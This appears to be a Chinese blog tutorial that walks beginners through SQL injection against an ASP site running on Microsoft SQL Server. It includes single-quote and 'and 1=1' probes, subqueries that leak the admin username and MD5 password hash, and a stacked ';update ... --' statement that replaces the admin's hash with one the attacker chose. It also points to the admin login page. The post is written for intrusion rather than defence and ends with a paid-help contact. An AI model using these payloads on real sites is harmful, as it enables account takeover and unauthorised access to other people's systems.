SQL注射修改難猜解的MD5
[重要通告]如您遇疑難雜癥,本站支持知識(shí)付費(fèi)業(yè)務(wù),掃右邊二維碼加博主微信,可節(jié)省您寶貴時(shí)間哦!
在線破解MD5的網(wǎng)站上查。但有的MD5密碼很偏,所以一些新手會(huì)放棄。我為新手介紹一種很簡單就能修改難猜解MD5密碼的方法。
常入侵的高手就忽略過..
隨便找個(gè)地址
http://www.xxx.org/news.asp?id=121
在地址后輸入單引號(hào),顯示
Microsoft OLE DB Provider for SQL Server 錯(cuò)誤 ’80040e14’
字符串 ’’’ 之前有未閉合的引號(hào)
/news/wantpws.asp,行63
說明沒有過濾單引號(hào)且數(shù)據(jù)庫是MSSQL.
and 1=1出錯(cuò)。and 1=2正常。
接著輸入
http://www.xxx.org/news.asp?id=1 or admin_user in (select id from admin)
得到帳號(hào)為:admin
http://www.xxx.org/news.asp?id=121 or admin_password in (select id from admin)
得到密碼為:a4716077c2ba075c
接下來我們就可以改密碼了。但我們先前要知道我們加密的字符:e8dc763194f29433
鍵入 :
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’--
這句的意思就是用e8dc763194f29433替換a4716077c2ba075c,以達(dá)到修改密碼的目的。
掃一下后臺(tái)為
http://www.xxx.org/admin/admin_login.asp
問題未解決?付費(fèi)解決問題加Q或微信 2589053300 (即Q號(hào)又微信號(hào))右上方掃一掃可加博主微信
所寫所說,是心之所感,思之所悟,行之所得;文當(dāng)無敷衍,落筆求簡潔。 以所舍,求所獲;有所依,方所成!